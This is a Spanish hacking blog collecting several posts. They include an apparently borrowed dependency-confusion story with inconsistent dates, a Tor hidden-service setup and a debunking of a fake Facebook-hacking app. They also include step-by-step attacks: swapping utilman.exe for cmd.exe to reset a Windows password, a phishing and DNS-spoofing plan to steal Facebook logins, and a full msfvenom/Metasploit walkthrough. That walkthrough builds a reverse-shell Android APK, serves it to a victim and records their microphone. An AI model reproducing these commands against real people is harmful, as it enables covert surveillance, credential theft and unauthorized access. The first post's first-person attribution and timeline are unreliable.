sábado, 8 de julio de 2023

Confusión de dependencia: cómo pirateé Apple, Microsoft y PayPal.

La historia de un nuevo ataque a la cadena de suministros. 

 

Desde que comencé a aprender a codificar, me ha fascinado el nivel de confianza que ponemos en un comando simple como este: 

 

pip install nombre_paquete

 

Algunos lenguajes de programación, como Python, vienen con un método fácil, más o menos oficial, para instalar dependencias para sus proyectos. Estos instaladores generalmente están vinculados a repositorios de códigos públicos donde cualquiera puede cargar libremente paquetes de códigos para que otros los usen.

Probablemente ya haya oído hablar de estas herramientas: Node "npm" y el registro npm, Python "pip" usa PyPI (Python Package Index), y las gemas de Ruby se pueden encontrar en... bueno, RubyGems.

Al descargar y usar un paquete de cualquiera de estas fuentes, básicamente está confiando en su editor para ejecutar el código en su máquina. Entonces, ¿esta confianza ciega puede ser explotada por actores malintencionados?

 

Por supuesto que puede.

Ninguno de los servicios de alojamiento de paquetes puede garantizar que todo el código que cargan sus usuarios esté libre de malware. Investigaciones anteriores han demostrado que el typosquatting, un ataque que aprovecha versiones con errores tipográficos de nombres de paquetes populares, puede ser increíblemente efectivo para obtener acceso a PC aleatorias en todo el mundo.

Otras rutas de ataque de cadena de dependencia bien conocidas incluyen el uso de varios métodos para comprometer paquetes existentes o la carga de código malicioso con los nombres de dependencias que ya no existen. 


 

La idea

Mientras intentaba piratear PayPal conmigo durante el verano de 2020, Justin Gardner ( @Rhynorater ) compartió un fragmento interesante del código fuente de Node.js que se encuentra en GitHub.

El código estaba destinado al uso interno de PayPal y, en su package.jsonEl archivo parecía contener una combinación de dependencias públicas y privadas: paquetes públicos de npm, así como nombres de paquetes no públicos, probablemente alojados internamente por PayPal. Estos nombres no existían en el registro público de npm en ese momento.

 

Con la lógica que dicta qué paquete se obtendría de dónde no está claro aquí, surgieron algunas preguntas:

  • ¿Qué sucede si se carga un código malicioso en npm con estos nombres? ¿Es posible que algunos de los proyectos internos de PayPal comiencen a usar de forma predeterminada los nuevos paquetes públicos en lugar de los privados?
  • ¿Los desarrolladores, o incluso los sistemas automatizados, comenzarán a ejecutar el código dentro de las bibliotecas?
  • Si esto funciona, ¿podemos obtener una recompensa por errores?
  • ¿Funcionaría este ataque contra otras empresas también?

Sin más preámbulos, comencé a trabajar en un plan para responder a estas preguntas.

La idea era cargar mis propios paquetes de Node "maliciosos" en el registro de npm con todos los nombres no reclamados, que "llamarían a casa" desde cada computadora en la que estuvieran instalados. Si alguno de los paquetes terminara instalándose en servidores propiedad de PayPal, o en cualquier otro lugar, el código dentro de ellos me lo notificaría de inmediato.

En este punto, creo que es importante dejar en claro que cada organización a la que se dirige esta investigación ha otorgado permiso para que se pruebe su seguridad, ya sea a través de programas públicos de recompensas por errores o mediante acuerdos privados. Por favor, no intente este tipo de prueba sin autorización.

“Siempre es DNS”

Afortunadamente, npm permite que el código arbitrario se ejecute automáticamente al instalar el paquete, lo que me permite crear fácilmente un paquete Node que recopila información básica sobre cada máquina en la que está instalado a través de su  "preinstall" guion.

Para lograr un equilibrio entre la capacidad de identificar una organización en función de los datos y la necesidad de evitar recopilar demasiada información confidencial, decidí registrar solo el nombre de usuario, el nombre de host y la ruta actual de cada instalación única. Junto con las direcciones IP externas, estos fueron suficientes datos para ayudar a los equipos de seguridad a identificar sistemas posiblemente vulnerables en función de mis informes, al tiempo que evitaba que mis pruebas se confundieran con un ataque real.

Ahora queda una cosa: ¿cómo me devuelven esos datos?

Sabiendo que la mayoría de los objetivos posibles estarían muy dentro de redes corporativas bien protegidas, consideré que la exfiltración de DNS era el camino a seguir. 


 

El envío de la información a mi servidor a través del protocolo DNS no era esencial para que la prueba en sí funcionara, pero sí garantizaba que era menos probable que el tráfico se bloqueara o detectara al salir.

Los datos se codificaron en hexadecimal y se usaron como parte de una consulta de DNS, que llegó a mi servidor de nombres autorizado personalizado, ya sea directamente o a través de resolutores intermedios. El servidor se configuró para registrar cada consulta recibida, esencialmente manteniendo un registro de cada máquina donde se descargaron los paquetes.

Cuanto más, mejor

Con el plan básico para el ataque en su lugar, ahora era el momento de descubrir más posibles objetivos.

La primera estrategia fue buscar ecosistemas alternativos para atacar. Así que transfirí el código a Python y Ruby para poder cargar paquetes similares a PyPI (Python Package Index) y RubyGems respectivamente.

Pero podría decirse que la parte más importante de esta prueba fue encontrar tantos nombres de dependencia relevantes como fuera posible.

Unos días completos de búsqueda de nombres de paquetes privados pertenecientes a algunas de las empresas objetivo revelaron que se podían encontrar muchos otros nombres en GitHub, así como en los principales servicios de alojamiento de paquetes, dentro de paquetes internos que se habían publicado accidentalmente, e incluso dentro de publicaciones en varios foros de Internet.

Sin embargo, el mejor lugar para encontrar nombres de paquetes privados resultó ser… dentro de archivos javascript.

Aparentemente, es bastante común para internos  "package.json" archivos, que contienen los nombres de las dependencias de un proyecto de javascript, para que se incrusten en los archivos de script públicos durante su proceso de compilación, exponiendo los nombres de los paquetes internos. Del mismo modo, las rutas internas filtradas o "require()" las llamadas dentro de estos archivos también pueden contener nombres de dependencia. Apple, Yelp y Tesla son solo algunos ejemplos de empresas cuyos nombres internos quedaron expuestos de esta manera.

 

 

Durante la segunda mitad de 2023, gracias a la ayuda de @streaak y sus notables habilidades de reconocimiento, pudimos escanear automáticamente millones de dominios que pertenecen a las empresas objetivo y extraer cientos de nombres de paquetes de JavaScript adicionales que aún no se habían reclamado en el registro npm.

Luego cargué mi código para empaquetar los servicios de alojamiento con todos los nombres encontrados y esperé las devoluciones de llamada.

sábado, 3 de septiembre de 2022

Obteniendo el poder de los dioses

El cambiar de Windows a Ubuntu GNU/Linux cómo sisitema principal me había supuesto muchos retos de conocimientos para entonces, por lo que al superarlos me sentí con el poder, pero aún faltaba Arch Linux.


 

En este punto quiero hacer aclaraciones para los que leen este blog, que... busca entre otras informar ("El conocimiento es libre"),  hay varias partes involucradas en el funcionamiento de un sistema operativo, por una parte tenemos el kernel que en resumen hace que funcionen nuestro teclado, mouse, ram, cpu, gpu. Y tenemos la parte del software, todo lo referido a programas, drivers, entornos de escritorio y en general todo lo que sean utilidades.

Linux sólo es el kernel, no trae ningún programa instalado, nada de utilidades, de echo al tener instalado sólo linux en nuestra terminar se ve algo así:


 

Entonces ¿de donde salen todos los programas y los entornos de escritorio?, pues hay entra GNU, que es todo el software que se usa, GNU, es un proyecto fundado por la Free Software Foundation, y que actua bajo la filosofia de "El conocimiento es libre" el cúal sigues las causas de Linus Torvalds, creador de Linux, el cúal nunca hizo su software comercial.

Estos dos al juntarse se convierten el GNU/Linux, y de los cuales nacen distribuciones cómo Ubuntu, Debian, CentOS, Fedora entre muchas otras, una vez explicado esto vayamos al grano.

¿Qué tan facil es ser Hacker?

Es tan facil cómo aprender a bootear Kali, en realidad eso te convierte en un Script Kiddie, la mayoria de las personas no han escuchado hablar de Arch Linux porque es algo más dificil de usar que sólo bootear una usb, esta es la distro definitiva para mí.

Al tener Kali, tienes miles de herramientas que no necesitas, los tutoriales de youtube sólo te enseñan a crear un Payload inestable en MetaSploit, o ha piratear redes WPA2 con AirCrack, lo que lo convierte en una herramienta medianamente buena para sus tutos, pero si no quieres quedarte en eso y de verdad quieres ser un buen informatico, esta Arch Linux, y su versión para investigadores de seguridad, BlackArch Linux, esto lo es todo.

Al intentar instalar Arch, el instador te planta en una terminar, de hay tu tienes que hacer el resto, configuirar el sistema, particionar discos, descargarte tu propio sistema, esto supone una gran ventaja, ya que sólo instalas las cosas que en realidad necesitas, y lo que lo hace sumamente personalizable.

Mi sistema principal es Arch, al desarrollar codigo, sólo necesito un IDE y un navegador en el que paso la mayor parte del tiempo, y cómo sistema para mis auditorias uso Arch, con los repositorios de BlackArch, porque es lo unico que necesito, y si ya tienes la experiencia concordaras conmigo en que no es de lo mejor tener software que no utlizamos en nuestro terminal, ya que baja el rendimiento que nos puede ofrecer la computadora y incluso dar brechas de seguridad, que es lo ultimo que queremos.

El contar con un sistema optimizado a tus necesidades supone una gran ventaja al resto, ademas del conocimiento que supone el saber instalarte un sistema por consola, lo que es fundamental si quieres ser un buen informatico.

 

 "El conocimiento es poder"

 

Saludos informaticos.

domingo, 17 de julio de 2022

Mount server .onion

Tor, a los gobiernos se les pone la piel de gallina cuando se nombra y es que allí se aloja más del 50% de todas las paginas de internet, The Onion Router (Tor), nacío y a día de hoy es un proyecto OpenSource, con el que se busca anonimato en la internet.

Creo que en algún momento cualquier hacker ha tenido la fantasia de montar una pagina en un servidor de la Deep Web, y no funciona tal cual, pero vamos a hacerlo.


 

Lo que en realidad tenemos que hacer es montarnos un servidor web en una distro Linux, no necesariamente tiene que ser linux, en Windows tambien funciona de la misma manera, por consiguiente descargar y configurar Tor.

Iniciaremos descargando un Servidor Web, en mi caso usaré nginx, el instalar nginx es sencillo, solo basta ejecutar el siguiente comando:

# sudo apt install nginx -y

Ahora prosigue instalar Tor la intranet donde correra nuestro servicio web, lo haremos con el comando:

# sudo apt install tor -y


 

Ahora vamos a hacer algunas configuraciones en la configuración de Tor ejecutamos:

# whereis tor

Para saber donde tenemos los arhcivos de configuración del servicio, nos iremos a /etc/tor/ y con nano editaremos el archivo llamado torrc:

# sudo nano torrc

 

 

Nos iremos hasta la seccion de location-hidden service al rededor de la linea 65 y descomentamos las siguientes lineas:

// HiddenServiceDir /var/lib/tor/hidden_service/

// HiddenServicePort 80 127.0.0.1:80


 

Guardamos y salimos, lo siguientes sera iniciar los servicios nginx y tor:

#service nginx start && service tor start


 

Y eso sería todo, en la ruta /var/lib/tor/hidden_service/ ahí un archivo hostname, allí esta el link para acceder desde la Deep Web, y en la ruta /var/www/html/ tenemos que poner la pagina o la aplicación web que queremos que aparesca.

 


 

Saludos Digitales.

jueves, 14 de julio de 2022

Windows has ben Hacked

Cuando erá un "Usuario Normal", utilizaba Windows, muchas funcionalidades, facíl de usar, bastante intuitivo, estable, lo que lo hace perfecto para empresas, o personas que no quieren perder tiempo montando ni estar pendiente de su Sistema Operativo, sino que sólo buscan un sistema operativo que les permita hacer su trabajo rapido y eficasmente.

Con sólo ser eficaz y intuitivo no basta, no he mencionado que es seguro por muchas razones, en realidad "Ningun Sistema es Seguro", pero le toco a Windows en esta oportunidad.

La Vulnerabilidad de la que les vengo a contar, no es reciente, de echo ha tenido aparición en Series Hackers, cómo Mr Robot, donde el protagonista Eliot obtiene acceso a una maquina Windows protegida por clave en 5 minutos, y de echo esta Vulnerabilidad afecta incluso a Windows 11, pero veamos cómo es que sucede esto.

Este viejo truco se basa en renombrar el cmd.exe cómo utilman.exe, pero para esto necesitaremos anteriormente haber Booteado una usb con Windows 11, en otro post veremos cómo Bootear una usb desde diferentes SO.

Una vez Booteada la usb, reiniciaremos la Computadora, y entraremos al Boot Menu, esto se logra oprimiendo en la mayoría de las computadoras F8, pero ahí que hacerlo rapido, sólo tendremos unos segundos mientras muestra el logo de la marca.


 Arrancamos la Computadora desde la usb previamente Booteada, por lo que nos inicia el instalador de Windows 11, ahora lo que debemos hacer es oprimir la convinación de teclas SHIFT + F10, para abrir la consola.

 

Una vez estemos en la consola de comando utilizaremos la utilidad DISKPART, para montar el Volumen donde se encuentra utilman.exe que debe ser el Volumen 1.

Entramos a Diskpart y listamos los volumenes:

# diskpart

#list volume


 

Ahora montaremos el Volumen 1:

# select volume 1

# assign letter=C



Una vez montado el Volumen 1, moveremos utilman.exe para poder renombrar cmd.exe cómo el programa anteriormente nombrado:

# copy c:\windows\system32\utilman.exe c:\

# copy /y c:\windows\system32\cmd.exe c:\windows\system32\utilman.exe


 

Y eso es todo, lo que deberiamos hacer ahora es sacar la usb, y reiniciar el equipo para que inicie normalmente Windows 11, para cuando demos en Accesibilidad:

 

Nos ejecute la cmd y con un comando poder cambiar la contraseña:

# net user account_name new_password

 

Ahora la Contraseña para el Usuario David es 123456.

 

miércoles, 13 de julio de 2022

Hackeando Facebook en 1 minuto con "el Mono"

Me suele llegar correos tipo: "Hola, puedes hackear Facebook?", un poco resumido pero te tengo una noticía, "En Julio, no iré a la carcel por ti."

Hoy me estuvo visitando Jose Angel alias "El Mono", luego de un rato hablando se nos ocurrio la idea de ver cómo podíamos Hackear Facebook, y no podia ser de otra forma que con Ingenieria Social, así que nos pusimos manos a la obra.



Cómo lo haríamos, pues nos enredamos un poco a decir verdad, la idea era mandar un link con un sms diciendo algo así cómo, "Facebook: Un nuevo dispositivo a accedido desde Rusia a tú cuenta Facebook, sigue el link y verifica la actividad.", pero la idea era que el link fuera de Facebook así que lo consiguiente sería un DNSspoofing, una tactica que se encarga de envenenarte las DNSs, haciendote ir a un sitio falso cómo si fuera el verdadero, suena facíl, no?, bueno solo suena.

la principal idea seria crear la pagina que tenga sugeriblemente un formulario lo mas conveniente o acercado al de Facebook y que al momento que la victima ingrese las credenciales de inicio de sesion, nos  las mande como un archivo de texto. 


 

Ahora se deberia Crear un Payload el cual subiremos a la pagina, luego un poco mas de ingenieria social. Mandamos otro SMS: "Facebook: Ahora disponible nuestra nueva aplicacion de autentificacion, descargala para tener mas seguridad en tu cuenta."

Con esto conseguiriamos que la victima nos de acceso a su terminal, ahora lo ideal seria conseguir privilegios superiores y asi obtener y gozar del control total del dispositivo.

lo ideal para protegernos de este tipo de ataques seria usar siempre Segundo factor de autentificacion en todas y cada una de nuestras cuentas, asi aumentariamos la seguridad y no sufririamos percanses.

Este Articulo lo escribio casí completamente "El Mono", así que jusguen ustedes cómo lo hizo?

jueves, 7 de julio de 2022

Aquí termina Dios

Cómo cualquier usuario normal hace unos años utilizaba Windows, estoy muy apenado de mi pasado, hace un tiempo me uní a la causa GNU, sí, soy todo un revelde.


Recuerdo que la primera vez que use Linux, utilice la distro Kali, lo inicie desde una usb bootable con el miedo que estallase mi laptop, logicamente inicio lo más de normal y me senti Dios por un momento, luego me di cuenta que estaba lejos de saber utilizar la terminal, por lo que no tarde en ponerme a aprender cómo utilizarla.

Luego de un tiempo de estar merodeando por Kali descubri otras distros cómo Ubuntu, misma que luego se convertiría en mi sistema operativo principal, pero con todo esto estaba lejos de sacarle el maximo provecho a Linux

Los usuarios sin conocimiento, suelen asociar linux con Crakers, pero despues de la definición que dío la RAE sobre "Hacker", es que no se podía esperar otra cosa, pero lo cierto es que en miles de Hackers sobrecae la responsabilidad de que la tecnología que todos usamos sea segura.


 

Hace unos días hablaba con una persona de esas que vas conociendo mientras vives, me hablaba de lo util que le es Windows, y me pregunto que SO utilizaba, al mencionar que usaba distros GNU/Linux me míro raro, cómo si le estuviera diciendo algo muy malo, incruso perturbador, entonces me comento que de donde venía Linux no era visto con buenos ojos, ya que lo consideraban "Maligno", vaya visión del mundo tienen por haya, y más tratandose de un administrador de sistemas.

Creó que aprendí a programar porque cualquier idea que tenga la puedo transformar en codigo, cosa que desde  el inicio me inquietaría y que luego desenbocaría en mi carrera, para entonces usaba Kali muy de vez en cuando, Windows se me hacía más amigable, pero tuve un cambio progresivo a Linux, no podía negar las grandes ventajas que suponía tener el control de todo desde una consola, cosa que agradesco cuando se trata de cambios rapidos pero temporales a bajo nivel que suelo hacer muy seguido desde que estoy en el area de la Ciberseguridad.

En sintesis, las personas estan juzgando un libro por su portada, a la mayoría que maldicen Linux le supondría una ventaja en lo que hacen desde su laptop, si no sabían en Linux no existen virus.



martes, 5 de julio de 2022

Una vida entera "Weaponizando" en mi día a día

Quizás una de mis más grandes pasiones es "Hackear", porque así logro sentirme Dios, con cada intrusión se vuelve más excitante, si detesto el papeleo pero son gages del oficio, y si tu tambien estás en el mundito del Ethical Hacking quizás hayas escuchado alguna vez que han Weaponizado algúna pagina que a priori no tiene ningún fallo de seguridad.



De una manera muy resumida, "Weaponizar" se trata de encontrar la forma de sacar provecho a una no vulnerabilidad, sí, así cómo suena, en el caso que explica Chema Alonso, CDO de Telefonica, en la #OpenExpo2022 donde mostraba la forma cómo roban cuentas de Whastapp ScrAPIficando para hacer OSINT.


En el caso que el explica, cómo tenemos acceso al DOM podemos crear un Script que vaya toqueteando toda la pagina y que al final, podamos tener control cómo si de una API se tratara para poder saber en que momentos de día te conectas a Whastapp, por ejemplo, y con mucha de esta información y con el uso de Google Hacking poder saber los horarios en que trabajas por ejemplo.

Weaponizando en el día a día

Cúando estudiaba en la universidad, aún no acababa el colegio, así que el horario en que me movia diariamente era muy pesado, pero siento que eso me ayudo a adquirir madures, el caso es que no tenía mucho tiempo libre para poder salir con amigos, ni para jugar videojuego, no tenía mucho tiempo para perder, por lo que me termine aislando bastante socialmente, por las mañanas se trataba del colegio y en veces de dos de la tarde hasta las siete la universidad, más los trabajos que dejaban.

Cúando veía la charla de Chema Alonso lejos de prestar atención, me preguntaba cómo podía ser mejor Capital humano, solía terminal muy cansado luego de largas clases y me gusta lo que hago, cualquier idea que tenga poder programarla, pero, sentía que no estaba aprovechando muchas cosas en mi vida personal, así que comence a hacerme esa idea, de cómo lograr ese justo equlibrio entre vída personal, familiar, social y laboral, vaya tarea.

La naturaleza de las relaciones humanas se basan en disfrutar, algo para lo que no nos instruyen en la escuela, así que cómo haría para adaptarme a la sociedad, luego de más de un año sin relación humana más que con mi familia, y vaya mundo el qué me esperaba, en concreto sólo trate en el comienzo de ser yo mismo, pero no se me hacía raro que no funcionara, me disgustaban las personas quizás por cómo piensan, no me resultaba incomodo el silencio en medio de una conversación, curioso, luego de ir adaptandome un poco a la sociedad, me dí cuenta que podía aplicar muchas cosas de hacking para eso, las personas tienen muchas debilidades, y la mejor forma de defenderse de una vulnerabilidad es exponiendola aunque eso te deje suceptible a un ataque.

lunes, 4 de julio de 2022

Apps magicas para hackear Facebook

Conseguir la contraseña de Facebook de una cuenta es una de las peticiones más usuales que se suele recibir de la gente que busca solucionar sus problemas invadiendo la intimidad de las personas cercanas. Hay una gran demanda para este tipo de servicios, y por ende aparece la oferta de este tipo de servicios por medio de muchas maneras, casi todas con el fin de engañar al que busca hackear Facebook. Desde engaños al uso de "págame y ya me pongo yo a conseguirte la contraseña que yo hago unos troyanos superfuertes", hasta las típicas falsas apps mágicas que se comercializan para espiar WhatsApp en las que supuestamente pones un número de teléfono y al instante te da las conversaciones que de la otra persona. 


Estas apps mágicas para espiar son algo muy utilizado en el mundo del fraude online, y en casos como las apps mágicas para WhatsApp han generado auténticos negocios como hemos visto en el pasado. Hoy yo venía a hablaros de una de esas apps mágicas para hackear. En concreto de una App mágica para Hackear Facebook que me encontré ayer jugando con la plataforma Path 5.
 


La encontré mientras buscaba apps que hablaran de SQL Injection y me llamó poderosamente la atención.  "¿Una app para hackear Facebook que está relacionada con SQL Injection? Esto hay que verlo". Tal y como se puede ver en la imagen de arriba, el crespón negro indica que la app fue retirada de Google Play hace varios meses, pero lo bueno de Path 5 es que nos hace el archivado automático de todas las apps y todas las versiones, así que podría jugar con ella.
 

 
El asunto del SQL Injection aparecía en la descripción, donde los autores presumen de que son unos tipos son unos mega hax0RDs con capacidades superiores a las que tienen los ingenieros de seguridad de Facebook y todos los investigadores que participan en el Bug Bounty y son capacidades de sacar las passwords usando Fuerza Bruta y bugs de SQL Injection que solo ellos tienen. Tiene gracia, pero ya que vas a meter una trola a alguien, que sea a lo grande, ¿no?. De hecho no será la primera vez que alguna gran empresa como Apple se come ataques de Brute Force en sus servidores o bugs de SQL Injection en sitios de renombre.
 
Aún así, publicar un par de 0days de Facebook en una app en Google Play no parece lo más inteligente para un hax0RD del nivel de estos autores, así que la trola canta muchísimo, así que decidí descargarla y darle un vistazo. Primero una descompresión del APK, luego una extracción del código con dex2jar para sacar los ficheros .class y luego usando JAD y Show My Code a leer un poco el código de la app y para ver la magia.
 
Al extraer el código se podía ver que la parte del ataque SQL Injection la tenían en una rama completamente a parte, así que me fui a ver qué hacían por allí. La función que más me gustó fue esta de DoSomeTasks para tener entretenido al usuario de la app.
 

 
Esta función se llamaba de vez en cuando con algunos retardos de tiempo para que se viera lo duro y cansado que era el trabajo de esta pobre app tratando de sacar la contraseña de la víctima.
 
 
 
Eso sí, la contraseña la saca, y la saca con emoción. Al estilo que buscan los periodistas cuando graban un reportaje para la tele. Visualizando la tensión poco a poco por pantalla. Primero intentando conectar una vez con mucha dificultad.
 

 
Lugo intentándolo otra vez, para al final conseguirlo y poder sacar por pantalla la password de la víctima que esta app mágica va a sacar para el atacante.
 

 

Cuando sale la contraseña, se la saca de una variable que se llama Str. What? Str? ¿De dónde ha salido ese Str con una password? Había que encontrar ese Str, así que a buscar la variable por todo el programa. Y ahí está, es mágico.
 

 
Como se puede ver, lo único que hace es tirar un dado y sacar una contraseña Random para mostrársela al usuario y listo. ¡Eso sí es magia! Alguno podrá pensar que esto es una locura, pero... ¿no hacen esto los magos todos los días en los programas de consultorio de magia en la tele y son legales y pagan sus impuestos? Eso sí, por pantalla tiran comandos SQL para que se vea el SQL Injection.
 
 
 
Lo cierto es que el ataque de Brute Force era similar, así que fui a capón en busca de la variable Str para ver cómo lo hacía en la otra rama del ataque, para ver que era exactamente el mismo juego de magia e imaginación.
 

 
¿Y todo por qué? Pues para monetizar el uso de la app con publicidad de Mobile Core, que no olvidéis que en la descripción de esta app se puede ver que tenía ya más de 10.000 descargas de usuarios que buscaban robar passwords de otros.
 


Por supuesto, el truco este de la app mágica para hackear Faceook existe también en versión escritorio, e incluso hay un vídeo demostrativo de FaceHacker 2014 que demuestra como se obtienen las passwords. Unos crack de los efectos especiales en vídeo. Todo esto, con lo fácil que es robar una cuenta de Facebook en 5 segundos de descuido o buscar los posts privados o borrados en el índice de Google. Vista la cantidad de gente que hay buscando cómo hackear Facebook, fortifica tu cuenta cuanto antes.

domingo, 3 de julio de 2022

Trabajar cómo Ethical Hacker

Hace unos años escribia mi primera linea de codigo en la consola de Chrome, un simple alert que te saludaba, y al día de hoy lidero un equipo de Bug Bounty, y soy lider de algunos proyectos cómo es el caso de Informatica 86, aquí un post anterior sobre el proyecto, Post Informatica 86 y fsociety.net un proyecto del cúal hablare en otros post.

Mi primer "Proyecto" personal, fue crear una pagina que te dijera tu peso en otro planeta, y sí algo tan basico cómo eso fue el inicio de aventuras inimaginables, aquí les dejo el codigo en Github.


Sí te estas iniciando en el area de la Ciberseguridad y te sientes un poco confundido sobre cómo trabajar de esto, no te preocupes, creó que la mayoría por no decir todos, nos ha sucedido, y es que cuando apenas estas comenzando todo se ve turbio y confuso, por eso aquí te doy unos Tips para llegar a trabajar cómo Ethical Hacker.

Aprendizaje constante

Si ya has has tenido contacto con la Tecnologia, cómo empleo o algún proyecto, sabras que en este mundito el Capacitarte diariamente es implescindible, "El conocimiento es poder" ya que este mundo es demasiado grande, y mientras más conococimiento poseas tienes más probablididad que te contraten, ademas las herramientas o Lenguajes de programación que vas o utiilizas se actualizan y quizas puede que cambie la forma de declarar una variable en JavaScript por ejemplo, y si no aprendes la nueva forma de hacerlo quedaras cómo una aplicación obsoleta.

Aprende Lenguajes de programación

Lo indispensable en cualquier area de trabajo dentro de la informatica es saber programar, y más si se trata de Ethical Hackers, ya que parte de nuestro trabajo es crear Parches de seguridad, y si queremos o necesitamos crear alguna herramienta, algún exploit o vamos a hacer un script necesitamos saber estos lenguajes, algunos de los lenguajes más utilizados para el Ethical Hacking son C, Java, bash, JavaScript, cada uno de esto con capacidades y utlidades diferentes, que de seguro utilices.  



Ten Curiosidad

La curiosidad es considerado casí un requisito en este campo, ya que es esta la que te lleva a indagar más y a querer saber cómo funciona por ejemplo WordPress, y entre más conocimientos tengas sobre ello, es más probables que acabes encontrando falencias en ese sistema que luego puedes interpretar cómo Cero-Day-Exploit, algo de lo que hablaremos luego.

Usa tu imaginación

La imaginación trabaja de la mano con la curiosidad, la curiosidad genera conocimiento y con el conocimiento suficiente solo basta usar tu imaginación para explotar un sistema, recuerda si puedes imaginarlo, puedes programarlo.

Documentalo todo

Creó firmemente que la unica forma en que aprendas algo es utilizandolo, al fin al cabo solo vas a terminar aprendiendo los comandos de consola que más uses, pero el documentarlo lo convierte en tu guía personal, de echo eso es guysystem86, mi guía personal, casí cómo un diario para mí donde documento lo que ya he aprendido y voy aprendiendo en forma de proyectos o las más recientes, demos.

Utiliza lo que aprendiste

A veces esta es la mejor forma de hacer que te contraten, demostrar a las empresas lo que puedes supone una gran ventaja frente a nuestra competencia, y esto lo podemos hacer principalmente de dos formas.

Proyectos

El tener proyectos realizados demuestra que tienes conocimientos, los proyectos no solo existen para los Pentester, también funcionan para todas las areas de la informatica, por ejemplo si eres Desarrollador de software puedes demotrar con proyectos lo que sabes, puedes subir tus proyetos a Github o también conocida cómo La Red Social de los programadores, aquí te dejo Mi perfil de Github, aunque la mayoria de mis proyectos estan privados.


 

Bug bounty

Los programas de Recompensa por errores, en el mundo del Ethical Hacking suelen ser la mejor manera de dejarle claro a una empresa tu potencial, de hecho esta fue la forma en la que conseguí empleo hace un tiempo, al día de hoy grandes empresas cómo Meta, Google, Microsoft, entre muchos otras, cuentan con este tipo de progamas, en los programas de Bug bounty son permisos que te da una empresa para que Audites cierta parte de sus servicios bajo algunas reglas, y si encuentras Vulnerabilidades que puedan suponer riesgo para la empresa, puedes reportarlo y dependiendo de la gravedad y del alcance de la vulnerabilidad te pagaran.


 

Sobra decir que en este campo suele ser bien pagado, pero todo depende del compromiso y las ganas que tengas, y cómo cualquier otra profesión tendras que esforzarte para poder lograr grandes hitos.

Saludos Virtuales.

 

viernes, 1 de julio de 2022

Espiando en Android con Metasploit

Le contaba a un amigo hace unos días cómo era que quizás IOS no era más seguro que Android, y se me ocurrio una idea, mostrarle lo facil que podia ser espiar una terminal Android, pero con un poco de realismo, con un ataque de Ingenieria Social.

Quizás no sea novedad hablar del Meterpreter, un Payload de uno de los Frameworks más utilizados en la ciberseguridad, Metasploit en su version 6.2.1, en la cúal han integrado cosas muy interesantes, de las cuales tal vez hablemos en otros post.

Metaploit me ha gustado desde siempre, por eso decidi usarlo para esta demo, a pesar de que podemos descargarnos un APK de una aplicación legitima y inyectar el Meterpreter lo que haría un entorno más realista, nos fuimos un poco por el lado facil y decidi usar la utilidad msfvenom para generar un APK con el Payload:

$ msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.11 LPORT=69 R > payload/payload.pak


Con -p indicamos que vamos a generar un Payload, luego indicamos que tipo de Meterpreter vamos a usar android/meterpreter/reverse_tcp, este Meterpreter genera una Shell reversa, es decir, luego que esta instalada se conecta a nosotros mediante el protocolo TCP, por eso los siguientes parametros que le pasamos son el LHORT, que es la IP a la que se va a conectar, osea nuestra IP y LPORT, el puerto por el que se va a conectar, elegimos el 69, luego de eso le indicamos donde lo va a guardar y el nombre del archivo con R >, importante que lo guardemos con extension .apk, de otra forma no lo podremos instalar en Android.

Lo suyo seria hacer ahora una DNSSpoofing, que lo conseguiriamos luego de hacer un ARPSpoofing cómo explico en un post anterior.

Copiamos nuestro Payload en la carpeta raiz de Apache

$ cp payload/payload.apk /var/www/html/

 


Toquetiamos un poco el archivo index.html que se encuentra en la ruta donde copiamos el payload, para agregar un enlace para descargar el Meterpreter:


Ahora vamos a habilitar nuestro servidor web Apache2:

$ systemctl start apache2.service

$ systemctl status apache2.service

Y si ingresamos al Localhost desde un navegador deberiamos ver el link:


Ahora ejecutamos Metaploit y configuramos algunas cosas:

$ msfconsole

$ use multi/handler

$ set PAYLOAD android/meterpreter/reverse_tcp

Con use multi/handler indicamos que vamos a utlizar un Payload sin exploit algo así cómo un ataque pasivo, y luego indicamos el tipo de Payload que vamos a utilizar set PAYLOAD android/meterpreter/reverse_tcp, luego de esto veremos que opciones tenemos que configurar:

$ show options

 

Y configuramos los parametros LHOST y LPORT con los configurados en el Payload, luego de eso solo seria iniciar el ataque:

$ set lhort 192.168.1.11

$ set lport 69

$ exploit


Ahora debemos descargar el Payload e instalarlo en la terminal Android victima, luego de iniciarlo y haberle dado los permisos necesarios, se nos habilitara una sesión en la terminal:

Ya estamos en el sistema, ahora dentro de las posibilidades que tenemos podemos:

Grabar con el microfono:

$ record_mic -d


Ver las aplicaciones instaladas:

$ app_list


Entre muchas otras funcionalidades como hacer un Dump a los sms, a los contactos, y incluso a las llamadas, esto sería una gran falla de seguridad si suponemos que tu banco te manda un 2FA, factor de segunda autentificación como podría ser un codigo que suelen mandar por sms, pues tendriamos acceso a el, y con un MITM podemos capturar las credenciales de acceso. 

// Hasta ahí nuestra privacidad.



Guillermo

Confusión de dependencia: cómo pirateé Apple, Microsoft y PayPal.

La historia de un nuevo ataque a la cadena de suministros.    Desde que comencé a aprender a codificar, me ha fascinado el nivel de confianz...